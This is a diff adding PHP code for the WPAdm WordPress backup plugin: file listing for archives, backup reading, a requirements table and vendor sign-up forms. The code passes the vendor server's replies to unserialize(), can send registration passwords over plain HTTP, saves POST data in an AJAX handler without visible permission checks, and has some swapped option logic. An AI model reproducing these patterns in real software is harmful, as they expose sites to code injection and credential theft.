162
+ $in = array();
163
+ for($i = 0; $i < $n; $i++) {
164
+ $inc = explode("/", $includes[$i]);
165
+ $f = count($inc);
166
+ $str = "";
167
+ for($j = 0; $j < $f; $j++) {
168
+ $str .= '/' . $inc[$j];
169
+ $in[$str] = $includes[$i];
170
+
171
+ }
172
+ }
173
+ }
174
+
175
+ while( $d = readdir($dir_open) ) {
176
+ if ($d != '.' && $d != '..' && !in_array($d, array('tmp', 'cache', 'temp', 'wpadm_backups', 'wpadm_backup', 'Dropbox_Backup', 'logs', 'log'))) {
177
+ $check = false;
178
+ $check_folder = "";
179
+ if (isset($in['/' . $path_show . $d])) {
180
+ $check = true;
181
+ $check_folder = $in['/' . $path_show . $d];
182
+ }
183
+ $return['dir'][] = array('dir' => $d, 'cache' => md5($path_show . $d), 'folder'=> $path_show . $d, 'perm' => self::perm($dir_to_open . "/" .$d), 'check' => $check, 'check_folder' => $check_folder );
184
+ }
185
+ }
186
+ echo json_encode($return);
187
+ }
188
+ wp_die();
189
+ }
190
+ static public function createListFilesForArchive() {
191
+ $folders = array();
192
+ $files = array();
193
+
194
+ $files = array_merge(
195
+ $files,
196
+ array(
197
+ ABSPATH . '.htaccess',
198
+ ABSPATH . 'index.php',
199
+ ABSPATH . 'license.txt',
200
+ ABSPATH . 'readme.html',
201
+ ABSPATH . 'wp-activate.php',
202
+ ABSPATH . 'wp-blog-header.php',
203
+ ABSPATH . 'wp-comments-post.php',
204
+ ABSPATH . 'wp-config.php',
205
+ ABSPATH . 'wp-config-sample.php',
206
+ ABSPATH . 'wp-cron.php',
207
+ ABSPATH . 'wp-links-opml.php',
208
+ ABSPATH . 'wp-load.php',
209
+ ABSPATH . 'wp-login.php',
210
+ ABSPATH . 'wp-mail.php',
211
+ ABSPATH . 'wp-settings.php',
212
+ ABSPATH . 'wp-signup.php',
213
+ ABSPATH . 'wp-trackback.php',
214
+ ABSPATH . 'xmlrpc.php',
215
+ )
216
+ );
217
+ $folders = array_merge(
218
+ $folders,
219
+ array(
220
+ ABSPATH . 'wp-admin',
221
+ ABSPATH . 'wp-content',
222
+ ABSPATH . 'wp-includes',
223
+ )
224
+ );
225
+ $folders = array_unique($folders);
226
+ $files = array_unique($files);
227
+ foreach($folders as $folder) {
228
+ if (!is_dir($folder)) {
229
+ continue;
230
+ }
231
+ $files = array_merge($files, self::directoryToArray($folder, true));
232
+ }
233
+ return $files;
234
+ }
235
+ private static function directoryToArray($directory, $recursive) {
236
+ $array_items = array();
237
+
238
+ $d = str_replace(ABSPATH, '', $directory);
239
+
240
+ $minus_path = array();
241
+
242
+
243
+ $d = str_replace('\\', '/', $d);
244
+ $tmp = explode('/', $d);
245
+ $d1 = mb_strtolower($tmp[0]);
246
+ unset($tmp[0]);
247
+ $d2 = mb_strtolower(implode('/', $tmp));
248
+ if (strpos($d2, 'cache') !== false && isset($tmp[0])&& !in_array($tmp[0], array('plugins', 'themes')) ) {
249
+ return array();
250
+ }
251
+
252
+ if ($handle = opendir($directory)) {
253
+ while (false !== ($file = readdir($handle))) {
254
+ if ($file != "." && $file != "..") {
255
+ if (is_dir($directory. "/" . $file)) {
256
+ if($recursive) {
257
+ $array_items = array_merge($array_items, self::directoryToArray($directory. "/" . $file, $recursive));
258
+ }
259
+
260
+ $file = $directory . "/" . $file;
261
+ if (!is_dir($file)) {
262
+ $ff = preg_replace("/\/\//si", "/", $file);
263
+ $f = str_replace(ABSPATH, '', $ff);
264
+ // skip "minus" dirs
265
+ if (!in_array($f, $minus_path)) {
266
+ $array_items[] = $ff;
267
+ }
268
+ }
269
+ } else {
270
+ $file = $directory . "/" . $file;
271
+ if (!is_dir($file)) {
272
+ $ff = preg_replace("/\/\//si", "/", $file);
273
+ $f = str_replace(ABSPATH, '', $ff);
274
+ if (!in_array($f, $minus_path)) {
275
+ $array_items[] = $ff;
276
+ }
277
+ }
278
+ }
279
+ }
280
+ }
281
+ closedir($handle);
282
+ }
283
+ return $array_items;
284
+ }
285
+ static function perm($file)
286
+ {
287
+ $fileperms = substr ( decoct ( fileperms ( $file ) ), 2, 6 );
288
+ if ( strlen ( $fileperms ) == '3' ){ $fileperms = '0' . $fileperms; }
289
+ return $fileperms;
290
+ }
291
+ public static function saveDirsIncludes()
292
+ {
293
+ if (isset($_POST['save']) && isset($_POST['data'])) {
294
+ $_POST['data'] = array_map('ltrimslashes', array_unique( $_POST['data'] ) );
295
+ $data_save = implode(',', $_POST['data'] );
296
+ $inludes = get_option(PREFIX_BACKUP_ . "plus-path");
297
+ if ($inludes !== false) {
298
+ update_option(PREFIX_BACKUP_ . "plus-path", $data_save);
299
+ } else {
300
+ add_option(PREFIX_BACKUP_ . "plus-path", $data_save);
301
+ }
302
+ }
303
+ wp_die();
304
+ }
305
+
306
+
307
+ public static function setStatus($s)
308
+ {
309
+ self::$status = $s;
310
+ }
311
+ public static function setErrors($e)
312
+ {
313
+ self::$error = $e;
314
+ }
315
+
316
+ public static function getDateInName($name)
317
+ {
318
+ $date_ = explode(self::$type . '-', $name);
319
+ if (isset($date_[1])) {
320
+ $date = explode('_', $date_[1]);
321
+ $d = "{$date[0]}-{$date[1]}-{$date[2]} {$date[3]}:" . preg_replace("/\([0-9]+\)/", '', $date[4]);
322
+ }
323
+ return $d;
324
+
325
+ }
326
+ public static function backupSend()
327
+ {
328
+ $data['status'] = self::$backup . self::$status;
329
+ $data['error'] = self::$error;
330
+ $data['pl'] = WPAdm_Core::$plugin_name;
331
+ $data['site'] = get_option('siteurl');
332
+ $data['actApi'] = 'setBackup';
333
+ self::sendToServer($data);
334
+ }
335
+
336
+
337
+
338
+ static function delete_pub_key()
339
+ {
340
+ delete_option('wpadm_pub_key');
341
+ header("Location: " . $_SERVER['HTTP_REFERER']);
342
+ }
343
+ public static function checkInstallWpadmPlugins()
344
+ {
345
+ $return = false;
346
+ $i = 1;
347
+ foreach(self::$plugins as $plugin => $version) {
348
+ if (self::check_plugin($plugin)) {
349
+ $i ++;
350
+ }
351
+ }
352
+ if ($i > 2) {
353
+ $return = true;
354
+ }
355
+ return $return;
356
+ }
357
+
358
+ static function setResponse($data)
359
+ {
360
+ $msg = errorWPADM::getMessage($data['code']);
361
+ if(isset($data['data'])) {
362
+ if (isset($data['data']['replace'])) {
363
+ foreach($data['data']['replace'] as $key => $value) {
364
+ $msg = str_replace("<$key>", $value, $msg);
365
+ }
366
+ }
367
+ }
368
+ if ($data['status'] == 'success') {
369
+ self::setMessage($msg);
370
+ } else {
371
+ self::setError($msg);
372
+ }
373
+
374
+ return isset($data['data']) ? $data['data'] : array();
375
+
376
+ }
377
+
378
+
379
+ protected static function setError($msg = "")
380
+ {
381
+ if (!empty($msg)) {
382
+ $_SESSION['errorMsgWpadm'] = isset($_SESSION['errorMsgWpadm']) ? $_SESSION['errorMsgWpadm'] . '<br />' . $msg : $msg;
383
+ }
384
+ }
385
+ protected static function getError($del = false)
386
+ {
387
+ $error = "";
388
+ if (isset($_SESSION['errorMsgWpadm'])) {
389
+ $error = $_SESSION['errorMsgWpadm'];
390
+ if($del) {
391
+ unset($_SESSION['errorMsgWpadm']);
392
+ }
393
+ }
394
+ return $error;
395
+ }
396
+
397
+ protected static function setMessage($msg)
398
+ {
399
+ if (!empty($msg)) {
400
+ $_SESSION['msgWpadm'] = isset($_SESSION['msgWpadm']) ? $_SESSION['msgWpadm'] . '<br />' . $msg : $msg;
401
+ }
402
+ }
403
+ protected static function getMessage($del = false)
404
+ {
405
+ $msg = "";
406
+ if (isset($_SESSION['msgWpadm'])) {
407
+ $msg = $_SESSION['msgWpadm'];
408
+ if($del) {
409
+ unset($_SESSION['msgWpadm']);
410
+ }
411
+ }
412
+ return $msg;
413
+ }
414
+
415
+
416
+
417
+ public static function sendToServer($postdata = array(), $stat = false)
418
+ {
419
+ if (count($postdata) > 0) {
420
+
421
+ if ($stat) {
422
+ if ($counter_id = get_option(_PREFIX_STAT . 'counter_id')) {
423
+ $postdata['counter_id'] = $counter_id;
424
+ }
425
+ }
426
+ $postdata = http_build_query($postdata, '', '&');
427
+
428
+ $length = strlen($postdata);
429
+
430
+
431
+ if (function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")) {
432
+ if ($stat) {
433
+ $url = SERVER_URL_VISIT_STAT . "/Api.php";
434
+ } else {
435
+ $url = WPADM_URL_BASE . "api/";
436
+ }
437
+ $curl = curl_init($url);
438
+ curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
439
+ curl_setopt($curl, CURLOPT_POST, true);
440
+ curl_setopt($curl, CURLOPT_POSTFIELDS, $postdata);
441
+ self::$result = curl_exec($curl);
442
+ curl_close($curl);
443
+ if ($stat) {
444
+ return unserialize(self::$result);
445
+ } else {
446
+ return json_decode(self::$result, true);
447
+ }
448
+ } elseif (function_exists("fsockopen")) {
449
+ if ($stat) {
450
+ $url = SERVER_URL_STAT;
451
+ $req = '/Api.php';
452
+ } else {
453
+ $url = substr(WPADM_URL_BASE, 7);
454
+ $req = '/api/';
455
+ }
456
+ $out = "POST " . $req . " HTTP/1.1\r\n";
457
+ $out.= "HOST: " . $url . "\r\n";
458
+ $out.= "Content-Type: application/x-www-form-urlencoded\r\n";
459
+ $out.= "Content-Length: ".$length."\r\n";
460
+ $out.= "Connection:Close\r\n\r\n";
461
+ $out.= $postdata."\r\n\r\n";
462
+ try {
463
+ $errno='';
464
+ $errstr = '';
465
+ $socket = @fsockopen($url, 80, $errno, $errstr, 30);
466
+ if($socket) {
467
+ if(!fwrite($socket, $out)) {
468
+ throw new Exception("unable to write fsockopen");
469
+ } else {
470
+ while ($in = @fgets ($socket, 1024)) {
471
+ self::$result .= $in;
472
+ }
473
+ }
474
+ self::$result = explode("\r\n\r\n", self::$result);
475
+ if ($stat) {
476
+ return unserialize(self::$result);
477
+ } else {
478
+ return json_decode(self::$result, true);
479
+ }
480
+ throw new Exception("error in data");
481
+ } else {
482
+ throw new Exception("unable to create socket");
483
+ }
484
+ fclose($socket);
485
+ } catch(exception $e) {
486
+ return false;
487
+ }
488
+ }
489
+ }
490
+ }
491
+
492
+ public static function activatePlugin()
493
+ {
494
+ if (isset($_POST['email']) && isset($_POST['password']) && isset($_POST['password-confirm'])) {
495
+ $email = trim(stripslashes(strip_tags($_POST['email'])));
496
+ $password = trim(strip_tags($_POST['password']));
497
+ $password_confirm = trim(strip_tags($_POST['password-confirm']));
498
+ $sent = true;
499
+ if (empty($email)) {
500
+ self::setError("Error, Email is empty.");
501
+ $sent = false;
502
+ }
503
+ if (!preg_match("/^([a-z0-9_\-]+\.)*[a-z0-9_\-]+@([a-z0-9][a-z0-9\-]*[a-z0-9]\.)+[a-z]{2,4}$/i", $email)) {
504
+ self::setError("Error, Incorrect Email");
505
+ $sent = false;
506
+ }
507
+ if (empty($password)) {
508
+ self::setError("Error, Password is empty.");
509
+ $sent = false;
510
+ }
511
+ if (strlen($password) < self::MIN_PASSWORD) {
512
+ self::setError("Error, the minimum number of characters for the password \"" . self::MIN_PASSWORD . "\".");
513
+ $sent = false;
514
+ }
515
+
516
+ if ($password != $password_confirm) {
517
+ self::setError("Error, passwords do not match");
518
+ $sent = false;
519
+ }
520
+ if ($sent) {
521
+ $info = self::$plugin_name;
522
+ $mail = get_option(PREFIX_BACKUP_ . "email");
523
+ if ($mail) {
524
+ add_option(PREFIX_BACKUP_ . "email", $email);
525
+ } else {
526
+ update_option(PREFIX_BACKUP_ . "email",$email);
527
+ }
528
+ $data = self::sendToServer(
529
+ array(
530
+ 'actApi' => "activate",
531
+ 'email' => $email,
532
+ 'password' => $password,
533
+ 'url' => get_option("siteurl"),
534
+ 'plugin' => $info,
535
+ )
536
+ );
537
+ $res = self::setResponse($data);
538
+ }
539
+ }
540
+ if (isset($res['url']) && !empty($res['url'])) {
541
+ header("Location: " . $res['url']);
542
+ } else {
543
+ header("Location: " . admin_url("admin.php?page=wpadm_plugins"));
544
+ }
545
+ }
546
+
547
+ public static function include_admins_script()
548
+ {
549
+ wp_enqueue_style('css-admin-wpadm-db', plugins_url( "/template/css/admin-style-wpadm.css", dirname(__FILE__) ) );
550
+
551
+ wp_enqueue_script( 'js-admin-wpadm-db', plugins_url( "/template/js/admin-wpadm.js", dirname(__FILE__) ) );
552
+ wp_enqueue_script( 'postbox' );
553
+
554
+ }
555
+ protected static function read_backups($dirs_read = false)
556
+ {
557
+ $name = get_option('siteurl');
558
+
559
+ $name = str_replace("http://", '', $name);
560
+ $name = str_replace("https://", '', $name);
561
+ $name = preg_replace("|\W|", "_", $name);
562
+ $name .= '-' . self::$type . '-' . date("Y_m_d_H_i");
563
+
564
+ $dir_backup = DROPBOX_BACKUP_DIR_BACKUP ;
565
+
566
+ $backups = array('data' => array(), 'md5' => '');
567
+
568
+ $backups['data'] = self::getBackups($dir_backup, $dirs_read);
569
+
570
+ $backups['data'] = array_merge($backups['data'], self::getBackups(ABSPATH . WPADM_DIR_NAME, $dirs_read) );
571
+ $backups['data'] = array_merge($backups['data'], self::getBackups(WPADM_DIR_BACKUP, $dirs_read) );
572
+
573
+ $backups['md5'] = md5( print_r($backups['data'] , 1) );
574
+ return $backups;
575
+ }
576
+
577
+ protected static function getBackups($dir_backup, $dirs_read)
578
+ {
579
+ $backups = array();
580
+ if (is_dir($dir_backup)) {
581
+ $i = 0;
582
+ $dir_open = opendir($dir_backup);
583
+ while($d = readdir($dir_open)) {
584
+ if ($d != '.' && $d != '..' && is_dir($dir_backup . "/$d") && strpos($d, self::$type) !== false) {
585
+ $backups[$i]['dt'] = self::getDateInName($d);
586
+ $backups[$i]['name'] = "$d";
587
+ if ($dirs_read === false) {
588
+ $size = 0;
589
+ $dir_b = opendir($dir_backup . "/$d");
590
+ $count_zip = 0;
591
+ $backups[$i]['files'] = "[";
592
+ while($d_b = readdir($dir_b)) {
593
+ if ($d_b != '.' && $d_b != '..' && file_exists($dir_backup . "/$d/$d_b") && substr($d_b, -3) != "php") {
594
+ $backups[$i]['files'] .= "$d_b,";
595
+ $size += filesize($dir_backup . "/$d/$d_b");
596
+ $count_zip = $count_zip + 1;
597
+ }
598
+ }
599
+ $backups[$i]['files'] .= ']';
600
+ $backups[$i]['size'] = $size;
601
+ $backups[$i]['type'] = 'local';
602
+ $backups[$i]['count'] = $count_zip;
603
+ }
604
+ $i += 1;
605
+ }
606
+ }
607
+ }
608
+ return $backups;
609
+ }
610
+ public static function check_plugin($name = "", $version = false)
611
+ {
612
+ if (!empty($name)) {
613
+ if ( ! function_exists( 'get_plugins' ) ) {
614
+ require_once ABSPATH . 'wp-admin/includes/plugin.php';
615
+ }
616
+ $name2 = str_replace("-", "_", $name);
617
+ $plugin = get_plugins("/$name");
618
+ if (empty($plugin)) {
619
+ $plugin = get_plugins("/$name2");
620
+ }
621
+ if (count($plugin) > 0) {
622
+ if (isset(self::$plugins[$name]) && (isset($plugin["$name.php"]) || isset($plugin["$name2.php"]))) {
623
+ if ($version) {
624
+ if (self::$plugins[$name] == $plugin["$name.php"]['Version']) {
625
+ return true;
626
+ }
627
+ if (self::$plugins[$name] == $plugin["$name2.php"]['Version']) {
628
+ return true;
629
+ }
630
+ } else {
631
+ if (is_plugin_active("$name/$name.php") || is_plugin_active("$name/$name2.php") || is_plugin_active("$name2/$name2.php")) {
632
+ return true;
633
+ }
634
+ }
635
+ }
636
+ }
637
+ return false;
638
+ }
639
+ }
640
+ }
641
+ }
642
+
643
+ if (! function_exists('wpadm_plugins')) {
644
+ function wpadm_plugins()
645
+ {
646
+ global $wp_version;
647
+
648
+ $c = get_system_data();
649
+ $phpVersion = $c['php_verion'];
650
+ $maxExecutionTime = $c['maxExecutionTime'];
651
+ $maxMemoryLimit = $c['maxMemoryLimit'];
652
+ $extensions = $c['extensions'];
653
+ $disabledFunctions = $c['disabledFunctions'];
654
+ //try set new max time
655
+
656
+ $newMaxExecutionTime = $c['newMaxExecutionTime'];
657
+ $upMaxExecutionTime = $c['upMaxExecutionTime'];
658
+ $maxExecutionTime = $c['maxExecutionTime'];
659
+
660
+ //try set new memory limit
661
+ $upMemoryLimit = $c['upMemoryLimit'];
662
+ $newMemoryLimit = $c['newMemoryLimit'];
663
+ $maxMemoryLimit = $c['maxMemoryLimit'];
664
+
665
+ //try get mysql version
666
+ $mysqlVersion = $c['mysqlVersion'];
667
+
668
+ $show = !get_option('wpadm_pub_key') || (!is_super_admin() || !is_admin()) || !@get_option(_PREFIX_STAT . 'counter_id');
669
+ ?>
670
+
671
+
672
+ <?php if (!$show) {?>
673
+ <div class="cfTabsContainer">
674
+ <div id="cf_signin" class="cfContentContainer" style="display: block;">
675
+ <form method="post" action="<?php echo WPADM_URL_BASE . "user/login" ; ?>" autocomplete="off" target="_blank">
676
+ <div class="inline" style="width: 52%; margin-top: 0; color: #fff;">
677
+ WPAdm Sign-In:
678
+ <input class="input-small" type="email" required="required" name="username" placeholder="Email">
679
+ <input class="input-small" type="password" required="required" name="password" placeholder="Password">
680
+ <input class="button-wpadm" type="submit" value="Sign-In" name="submit" style="margin-top:1px;">
681
+ </div>
682
+ <div class="wpadm-info-auth" style="width: 45%;">
683
+ Enter your email and password from an account at <a href="http://www.wpadm.com" target="_blank" style="color: #fff;" >www.wpadm.com</a>.<br /> After submitting user credentials you will be redirected to your Admin area on <a href="http://www.wpadm.com" style="color: #fff;" target="_blank">www.wpadm.com</a>.
684
+ </div>
685
+ </form>
686
+ </div>
687
+ </div>
688
+ <?php } else {?>
689
+ <div class="cfTabsContainer" style="display: none;">
690
+ <div id="cf_activate" class="cfContentContainer">
691
+ <form method="post" action="<?php echo admin_url( 'admin-post.php?action=wpadm_activate_plugin' )?>" >
692
+ <div class="wpadm-info-title">
693
+ Free Sign Up to use more functionality...
694
+ </div>
695
+ <div class="wpadm-registr-info">
696
+ <table class="form-table">
697
+ <tbody>
698
+ <tr valign="top">
699
+ <th scope="row">
700
+ <label for="email">E-mail</label>
701
+ </th>
702
+ <td>
703
+ <input id="email" class="regular-text" type="text" name="email" value="">
704
+ </td>
705
+ </tr>
706
+ <tr valign="top">
707
+ <th scope="row">
708
+ <label for="password">Password</label>
709
+ </th>
710
+ <td>
711
+ <input id="password" class="regular-text" type="password" name="password" value="">
712
+ </td>
713
+ </tr>
714
+ <tr valign="top">
715
+ <th scope="row">
716
+ <label for="password-confirm">Password confirm</label>
717
+ </th>
718
+ <td>
719
+ <input id="password-confirm" class="regular-text" type="password" name="password-confirm" value="">
720
+ </td>
721
+ </tr>
722
+ <tr valign="top">
723
+ <th scope="row">
724
+ </th>
725
+ <td>
726
+ <input class="button-wpadm" type="submit" value="Register & Activate" name="submit">
727
+ </td>
728
+ </tr>
729
+ </tbody>
730
+ </table>
731
+ </div>
732
+ <div class="wpadm-info">
733
+ <span style="font-weight:bold; font-size: 14px;">If you are NOT registered at WPAdm,</span> enter your email and password to use as your Account Data for authorization on WPAdm. <br /><span style="font-weight: bold;font-size: 14px;">If you already have an account at WPAdm</span> and you want to Sign-In, so please, enter your registered credential data (email and password twice).
734
+ </div>
735
+ </form>
736
+ </div>
737
+ </div>
738
+ <?php } ?>
739
+
740
+ <script>
741
+ jQuery(document).ready(function() {
742
+ jQuery('.plugins-icon').click(function() {
743
+ title = jQuery(this).parent('.plugins-title');
744
+ box = title.parent('.plugins-box');
745
+ content = box.find('.plugins-info-content');
746
+ display = content.css('display');
747
+ if (display == 'none') {
748
+ content.show('slow');
749
+ } else {
750
+ content.hide('slow');
751
+ }
752
+ })
753
+ })
754
+ function showRegistartion(show)
755
+ {
756
+ if (show) {
757
+ jQuery('.cfTabsContainer').show('slow');
758
+ } else {
759
+ jQuery('.cfTabsContainer').hide('slow');
760
+ }
761
+ }
762
+ </script>
763
+
764
+ <div class="clear" style="margin-bottom: 50px;"></div>
765
+ <table class="wp-list-table widefat fixed" >
766
+ <thead>
767
+ <tr>
768
+ <th></th>
769
+ <th>Recommended value</th>
770
+ <th>Your value</th>
771
+ <th>Status</th>
772
+ </tr>
773
+ </thead>
774
+ <tbody>
775
+ <tr>
776
+ <th scope="row">PHP Version</th>
777
+ <td><?php echo PHP_VERSION_DEFAULT ?> or greater</td>
778
+ <td><?php echo check_version($phpVersion , PHP_VERSION_DEFAULT) === false ? '<span style="color:#fb8004;font-weight:bold;">' . $phpVersion .'</span>' : $phpVersion ?></td>
779
+ <td><?php echo (check_version($phpVersion , PHP_VERSION_DEFAULT) ? '<span style="color:green;font-weight:bold;">OK</span>' : '<span style="color:#fb8004;font-weight:bold;">Please update your PHP version to get it working correctly</span>') ?></td>
780
+ </tr>
781
+ <tr>
782
+ <th scope="row">MySQL Version</th>
783
+ <td><?php echo MYSQL_VERSION_DEFAULT ?> or greater</td>
784
+ <td><?php echo check_version($mysqlVersion , MYSQL_VERSION_DEFAULT) === false ? '<span style="color:#fb8004;font-weight:bold;">' . $mysqlVersion .'</span>' : $mysqlVersion; ?></td>
785
+ <td><?php echo (check_version($mysqlVersion , MYSQL_VERSION_DEFAULT) ? '<span style="color:green;font-weight:bold;">OK</span>' : '<span style="color:#fb8004;font-weight:bold;">Please update your MySQL version to get it working correctly</span>') ?></td>
786
+ </tr>
787
+ <tr>
788
+ <th scope="row">Max Execution Time</th>
789
+ <td><?php echo $newMaxExecutionTime ?></td>
790
+ <td><?php echo ($upMaxExecutionTime == 0) ? '<span style="color:#fb8004;font-weight:bold;">' . $maxExecutionTime .'</span>' : $maxExecutionTime; ?></td>
791
+ <td><?php echo ($upMaxExecutionTime == 1) ? '<span style="color:green; font-weight:bold;">OK</span>' : '<span style="color:#fb8004;font-weight:bold;">Correct operation of the plugin can not be guaranteed.</span>'; ?></td>
792
+ </tr>
793
+ <tr>
794
+ <th scope="row">Max Memory Limit</th>
795
+ <td><?php echo $newMemoryLimit . 'M' ?></td>
796
+ <td><?php echo ($upMemoryLimit == 0) ? '<span style="color:#fb8004;font-weight:bold;">' . $maxMemoryLimit .'</span>' : $maxMemoryLimit ?></td>
797
+ <td><?php echo ($upMemoryLimit == 1) ? '<span style="color:green;font-weight:bold;">OK</span>' : '<span style="color:#fb8004;font-weight:bold;">Correct operation of the plugin can not be guaranteed.</span>'; ?></td>
798
+ </tr>
799
+ <tr>
800
+ <th scope="row">PHP Extensions</th>
801
+ <?php $ex = $c['ex']; ?>
802
+ <td><?php echo ( $ex ) === false ? 'All present' : '<span style="color:#ffba00;font-weight:bold;">' . implode(", ", $ex) . '</span>'; ?></td>
803
+ <td><?php echo ( $ex ) === false ? 'Found' : '<span style="color:#ffba00;font-weight:bold;">Not Found</span>'; ?></td>
804
+ <td><?php echo ( $ex ) === false ? '<span style="color:green;font-weight:bold;">Ok</span>' : '<span style="color:#fb8004;font-weight:bold;">Functionality is not guaranteed.</span>'; ?></td>
805
+ </tr>
806
+ <tr>
807
+ <th scope="row">Disabled Functions</th>
808
+ <td colspan="3" align="left"><?php echo ( $func = $c['func']) === false ? '<span style="color:green;font-weight:bold;">All necessary functions are enabled</span>' : '<span style="color:#fb8004;font-weight:bold;">Please enable these functions to get plugin working correctly: ' . implode(", ", $func) . '</span>'; ?></td>
809
+ </tr>
810
+ <tr>
811
+ <th scope="row">Plugin Access</th>
812
+ <td colspan="3" align="left"><?php echo ( ( is_admin() && is_super_admin() ) ? "<span style=\"color:green; font-weight:bold;\">Granted</span>" : "<span style=\"color:red; font-weight:bold;\">To administrate this Plugin(s) is an 'Admin' right required.</span>")?></td>
813
+ </tr>
814
+ </tbody>
815
+ </table>
816
+ <?php
817
+ }
818
+ }
819
+
820
+ if (! function_exists('check_function')) {
821
+ function check_function($func, $search, $type = false)
822
+ {
823
+ if (is_string($func)) {
824
+ $func = explode(", ", $func);
825
+ }
826
+ if (is_string($search)) {
827
+ $search = explode(", ", $search);
828
+ }
829
+ $res = false;
830
+ $n = count($search);
831
+ for($i = 0; $i < $n; $i++) {
832
+ if (in_array($search[$i], $func) === $type) {
833
+ $res[] = $search[$i];
834
+ }
835
+ }
836
+ return $res;
837
+ }
838
+ }
839
+
840
+ if (! function_exists('check_version')) {
841
+ function check_version($ver, $ver2)
842
+ {
843
+ return version_compare($ver, $ver2, ">");
844
+ }
845
+ }
846
+ if (!function_exists('ltrimslashes')) {
847
+ function ltrimslashes($var)
848
+ {
849
+ return ltrim($var, '/');
850
+ }
851
+ }
852
+ if (!function_exists("get_system_data")) {
853
+ function get_system_data()
854
+ {
855
+
856
+ global $wp_version;
857
+
858
+ $phpVersion = phpversion();
859
+ $maxExecutionTime = ini_get('max_execution_time');
860
+ $maxMemoryLimit = ini_get('memory_limit');
861
+ $extensions = implode(', ', get_loaded_extensions());
862
+ $disabledFunctions = ini_get('disable_functions');
863
+ $mysqlVersion = '';
864
+ if (! class_exists('wpdb')) {
865
+ require_once ABSPATH . '/' . WPINC . '/wp-db.php';
866
+ }
867
+ $mysqli = new wpdb( DB_USER, DB_PASSWORD, DB_NAME, DB_HOST );
868
+ $errors = $mysqli->last_error;
869
+ if (empty($errors)) {
870
+ $mysqlVersion = $mysqli->db_version();
871
+ }
872
+ $upMaxExecutionTime = 0;
873
+ $newMaxExecutionTime = intval($maxExecutionTime) + 60;
874
+ @set_time_limit( $newMaxExecutionTime );
875
+ if( ini_get('max_execution_time') == $newMaxExecutionTime ){
876
+ $upMaxExecutionTime = 1;
877
+ $maxExecutionTime = ini_get('max_execution_time');
878
+ }
879
+ $upMemoryLimit = 0;
880
+ $newMemoryLimit = intval($maxMemoryLimit) + 60;
881
+ ini_set('memory_limit', $newMemoryLimit.'M');
882
+ if( ini_get('memory_limit') == $newMemoryLimit ){
883
+ $upMemoryLimit = 1;
884
+ $maxMemoryLimit = ini_get('memory_limit');
885
+ }
886
+ $extensions_search = array('curl', 'json', 'mysqli', 'sockets', 'zip', 'ftp');
887
+ $disabledFunctions_search = array('set_time_limit', 'curl_init', 'fsockopen', 'ftp_connect');
888
+
889
+ $ex = check_function($extensions, $extensions_search);
890
+ $func = check_function($disabledFunctions, $disabledFunctions_search, true);
891
+
892
+ return array('wp_version' => $wp_version, 'php_verion' => phpversion(),
893
+ 'maxExecutionTime' => $maxExecutionTime, 'maxMemoryLimit' => $maxMemoryLimit,
894
+ 'extensions' => $extensions, 'disabledFunctions' => $disabledFunctions,
895
+ 'mysqlVersion' => $mysqlVersion, 'upMaxExecutionTime' => $upMaxExecutionTime,
896
+ 'newMaxExecutionTime' => $newMaxExecutionTime, 'upMemoryLimit' => $upMemoryLimit,
897
+ 'newMemoryLimit' => $newMaxExecutionTime, 'maxMemoryLimit' => $maxMemoryLimit,
898
+ 'ex' => $ex, 'func' => $func, 'wp_lang' => get_option('WPLANG'),
899
+ );
900
+
901
+ }
902
+ }
903
+
904
+ ?>
main/index.php ADDED
@@ -0,0 +1 @@
 
1
+ <?php
main/wpadm-class-wp.php ADDED
@@ -0,0 +1,749 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
